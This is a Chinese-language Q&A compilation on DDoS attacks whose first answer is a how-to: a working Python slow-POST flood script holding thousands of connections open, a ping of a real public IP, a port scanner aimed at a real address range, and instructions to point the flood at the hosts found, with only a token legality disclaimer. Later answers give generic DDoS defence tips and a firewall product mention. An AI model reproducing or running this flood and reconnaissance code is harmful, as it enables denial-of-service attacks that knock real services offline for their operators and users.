Ⅰ 如何進行DDOS攻擊怎麼做
會Python嗎?下一個Python3.7.0-3.7.3,把代碼復制下,粘貼即可
代碼:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=".com"#在雙引號里輸入對方IP或域名,要保證他聯網了或開機了,這里拿網路做示範(別運行!不然後果自負!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1 "
"Host: %s "
"Content-Length: 10000000 "
"Cookie: dklkt_dos_test "
" " % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d "%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s "%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻擊網站,以上代碼雖然可行,但是,攻擊效果很不好。
所以,最好用Windows里的PING進行檢測
操作:
在Windows搜索欄里輸入:cmd
輸入:
ping -n 10 -l 1 .com
//這里拿網路做示範,別真打網路!
那麼,就會發現,系統反映了:
正在 Ping .com [39.156.69.79] 具有 1 位元組的數據:
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=26ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=29ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=26ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52
39.156.69.79 的 Ping 統計信息:
數據包: 已發送 = 10,已接收 = 10,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
最短 = 26ms,最長 = 29ms,平均 = 27ms
說明,網路的伺服器有一個主伺服器是39.156.69.79
那麼,就來查找網路的所有伺服器吧!
輸入以下代碼:
#絕大多數成功的網路攻擊都是以埠掃描開始的,在網路安全和黑客領域,埠掃描是經常用到的技術,可以探測指定主機上是否
#開放了指定埠,進一步判斷主機是否運行了某些重要的網路服務,最終判斷是否存在潛在的安全漏洞,從一定意義上將也屬於系統運維的范疇
#埠掃描器程序:模擬埠掃描器的工作原理,並採用多進程技術提高掃描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#獲取常用埠對應的服務名稱
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超時時間的不同會影響掃描結果的精確度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#嘗試連接指定埠
sock.connect((host,port))
#記錄打開的埠
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#創建進程池,允許最多8個進程同時運行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#後面的IP少一個,因為要掃描這段區域內的IP,從而進行攻擊
for host_number in map(str,range(8,10)):
host = net + host_number
#創建一個新進程,同時記錄其運行結果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#關閉進程池,close()必須在join()之前調用
pool.close()
#等待進程池中的進程全部執行結束
pool.join()
#列印輸出結果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你會發現,Python反映了:
starting 39.156.69.8...
starting 39.156.69.9...
//並不是指網路只有這兩個伺服器!而是我們目前只能掃描到兩個!
接著,運行DDoS攻擊程序,把IP分別改為39.156.69.8和39.156.69.9
就可以實現DDoS攻擊了。
//註:請不要用於違法用途,並且不要隨意進行攻擊。如想使用,可攻擊虛擬機,但不要攻擊外網IP和域名!!!
Ⅱ 伺服器被ddos攻擊如何防禦
首先,用戶要去嘗試了解攻擊來自於何處,原因是黑客在攻擊時所調用的IP地址並不一定是真實的,一旦掌握了真實的地址段,可以找到相應的碼段進行隔離,或者臨時過濾。同時,如果連接核心網的埠數量有限,也可以將埠進行屏蔽。
相較被攻擊之後的疲於應對,有完善的安全機制無疑要更好。有些人可能會選擇大規模部署網路基礎設施,但這種辦法只能拖延黑客的攻擊進度,並不能解決問題。與之相比的話,還不如去「屏蔽」那些區域性或者說臨時性的地址段,減少受攻擊的風險面。
此外,還可以在骨幹網、核心網的節點設置防護牆,這樣在遇到大規模攻擊時,可以讓主機減少被直接攻擊的可能。考慮到核心節點的帶寬通常較高,容易成為黑客重點攻擊的位置,所以定期掃描現有的主節點,發現可能導致風險的漏洞,就變得非常重要。
Ⅲ 如何利用手上所以的伺服器搞定DDOS攻擊
幾台電腦?多大的攻擊 安裝天鷹ddos防火牆試試,我一朋友就是用的他們的防火牆效果不錯
Ⅳ DDOS攻擊 如何進行DDOS攻擊
還進行呢,就是電腦之間的通信,本來是一個命令問一句話,結果問了1萬句,對方就崩潰了。
Ⅳ 怎麼查看DDOS攻擊伺服器裡面哪個網站
Ddos攻擊,應該是攻擊一個具體的ip,你把那個ip輸入到瀏覽器就可以打開那個被攻擊的網站
Ⅵ 雲伺服器如何防禦ddos攻擊
伺服器可以設置定期掃描
多數網路惡意攻擊都是對骨幹節點進行攻擊,為了防患於未然,伺服器會定期掃描骨幹節點,發現可能存在的安全隱患並及時清理,不給網站攻擊者可乘之機。
伺服器可以在相關骨幹節點會配置防火牆
防火牆能夠過濾網路惡意攻擊,極大提高網路安全而降低由於網路惡意攻擊帶來的風險。
高防伺服器能夠過濾不必要ip和埠
在路由器上過濾掉假的ip,並在高防伺服器上只開放服務埠將其餘埠關閉。例如:XX伺服器只開放80埠,並在其他埠關閉或在防火牆上做阻止策略。
Ⅶ 伺服器怎樣做好防禦ddos攻擊
可以通過做好隱藏和硬抗兩個方面來防禦DDoS攻擊:
1、做好日常隱藏工作
對於企業來說,減少公開暴露是防禦 DDoS 攻擊的有效方式。比如說:網站做CDN加速,隱藏真實IP;限制特定IP訪問等。
2、硬抗
在遭受DDoS攻擊的時間,可以通過擴大出口帶寬、購買景安DDOS防護產品。
(7)如何ddos攻擊伺服器擴展閱讀:
DDoS的表現形式主要有兩種,一種為流量攻擊,主要是針對網路帶寬的攻擊,即大量攻擊包導致網路帶寬被阻塞,合法網路包被虛假的攻擊包淹沒而無法到達主機;另一種為資源耗盡攻擊,主要是針對伺服器主機的攻擊,即通過大量攻擊包導致主機的內存被耗盡或CPU被內核及應用程序占完而造成無法提供網路服務。